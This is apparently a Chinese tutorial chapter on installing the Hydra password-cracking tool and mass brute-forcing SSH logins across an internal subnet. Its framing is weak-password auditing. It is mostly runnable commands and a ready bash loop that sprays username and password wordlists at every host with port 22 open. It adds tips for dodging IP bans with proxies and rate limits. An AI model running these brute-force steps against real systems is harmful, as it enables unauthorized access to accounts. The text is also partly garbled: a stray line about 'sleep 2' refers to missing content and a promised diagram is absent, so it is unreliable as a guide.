4、Hydra 实战(一):Hydra 安装与基础用法、SSH 弱口令批量扫描
说实话,在安全测试的工具链里,Hydra 绝对算得上是一把「老骨头」了。但越是老工具,越经得起折腾。我最早接触它是在一次内网渗透项目里,客户要求验证所有运维账号的密码强度。那时候手动测了十几个就快疯了,后来同事甩过来一句:「用 Hydra 啊,别傻乎乎手打。」嗯,从那以后,Hydra 就成了我工具箱里的常客。
这一章,咱们就把它装好、跑通,然后拿 SSH 练练手。
4.1 什么是 Hydra?
Hydra 全名叫 THC-Hydra,是德国黑客组织 THC 开发的一款网络登录破解工具。说白了,它就是一个「自动化密码尝试器」。你给它一个目标、一个用户名列表、一个密码列表,它就能并发地尝试登录,直到找到正确的组合。
它支持几十种协议,包括 SSH、FTP、HTTP、MySQL、SMB、RDP 等等。我个人习惯把它当作「弱口令扫描的瑞士军刀」——不一定天天用,但用的时候一定得顺手。
4.2 安装 Hydra
安装其实很简单。不同系统有不同方式,我列一下最常见的几种。
4.2.1 在 Kali Linux 上安装
Kali 默认已经装了 Hydra。如果没有,直接一条命令搞定:
sudo apt update
sudo apt install hydra -y
装完验证一下:
hydra -h
能看到帮助信息就说明装好了。
4.2.2 在 Ubuntu/Debian 上安装
跟 Kali 一样:
sudo apt update
sudo apt install hydra -y
4.2.3 在 macOS 上安装
用 Homebrew:
brew install hydra
4.2.4 在 Windows 上安装
Windows 稍微麻烦点。我建议用 WSL(Windows Subsystem for Linux),然后在 WSL 里装 Hydra。或者直接下载预编译的 exe 版本,但功能可能不全。
4.3 Hydra 基础用法
先看一个最简单的命令结构:
hydra -l 用户名 -P 密码文件 目标IP 协议
举个例子,你想用密码字典爆破一个 SSH 服务:
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.100 ssh
这条命令的意思是:用 root 这个用户名,从 rockyou.txt 里逐个取密码,去尝试登录 192.168.1.100 的 SSH 服务。
但实际项目中,你往往需要多个用户名。这时候用 -L 指定用户名字典:
hydra -L users.txt -P passwords.txt 192.168.1.100 ssh
嗯,这里要注意:-l 是小写,表示单个用户名;-L 是大写,表示用户名字典文件。大小写搞混了,命令就跑偏了。
常用参数速查表
| 参数 | 说明 | 示例 |
|---|---|---|
-l |
单个用户名 | -l admin |
-L |
用户名字典文件 | -L users.txt |
-p |
单个密码 | -p 123456 |
-P |
密码字典文件 | -P passwords.txt |
-t |
并发线程数(默认16) | -t 4 |
-vV |
显示详细尝试过程 | -vV |
-o |
输出结果到文件 | -o result.txt |
-s |
指定端口(非默认端口时用) | -s 2222 |
4.4 SSH 弱口令批量扫描实战
好,理论说完了,咱们直接上手。假设你拿到了一个内网网段 192.168.1.0/24,想批量扫描所有开放 SSH 的主机,看看有没有弱口令。
4.4.1 第一步:扫描存活主机和开放端口
先用 Nmap 扫一下哪些主机开了 SSH(端口22):
nmap -sS -p 22 192.168.1.0/24 -oG ssh_hosts.txt
然后从结果里提取 IP:
grep "22/open" ssh_hosts.txt | awk '{print $2}' > target_ips.txt
4.4.2 第二步:准备字典
字典质量直接决定扫描效果。我一般会准备两份:
- 用户名字典(users.txt): root, admin, test, user, oracle, tomcat 等常见账号
- 密码字典(passwords.txt): 123456, password, admin, root, 12345678, qwerty 等弱口令
你也可以直接用 Kali 自带的字典:
/usr/share/wordlists/rockyou.txt
不过这个文件很大,建议先解压:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
4.4.3 第三步:编写批量扫描脚本
手动一条条跑太慢了。我习惯写个简单的 Shell 脚本:
#!/bin/bash
# SSH 弱口令批量扫描脚本
TARGETS="target_ips.txt"
USERS="users.txt"
PASSWORDS="passwords.txt"
OUTPUT="ssh_weak_results.txt"
# 清空上次结果
> $OUTPUT
# 逐个目标扫描
for ip in $(cat $TARGETS); do
echo "[*] 正在扫描: $ip"
hydra -L $USERS -P $PASSWORDS -t 4 -vV -o temp_result.txt $ip ssh
# 如果有结果,追加到总结果
if [ -s temp_result.txt ]; then
cat temp_result.txt >> $OUTPUT
echo "---" >> $OUTPUT
fi
done
echo "[+] 扫描完成,结果保存在 $OUTPUT"
保存为 ssh_scan.sh,然后执行:
chmod +x ssh_scan.sh
./ssh_scan.sh
4.4.4 第四步:分析结果
扫描完成后,打开 ssh_weak_results.txt,你会看到类似这样的内容:
[22][ssh] host: 192.168.1.105 login: root password: 123456
[22][ssh] host: 192.168.1.110 login: admin password: admin123
每一行就是一个弱口令。你可以根据这些结果,通知相关责任人修改密码。
sleep 2,每个目标之间停顿2秒,就再没出过问题。
4.5 核心流程总结
为了让你更直观地理解整个流程,我画了一张图:
4.6 常见问题与避坑
- 扫描速度太慢? 检查线程数
-t,适当调高。但别超过16,否则容易触发防御机制。 - 结果为空? 先确认目标 SSH 服务是否正常运行,再检查字典是否包含有效组合。我遇到过好几次,字典里全是弱口令,但目标服务器要求密码长度至少8位,结果一个都没命中。
- 被目标封 IP? 这是最常见的。建议加代理或使用
-W参数设置超时时间,或者用--rate限制速率。 - Hydra 报错 "connection refused"? 可能是端口不对,或者 SSH 服务没开。用
-s指定端口试试。
好了,这一章的内容就到这里。Hydra 的安装、基础用法和 SSH 批量扫描,你已经掌握了。接下来就是多练,找几台自己的虚拟机搭个环境,跑一跑,踩踩坑,才能真正记住。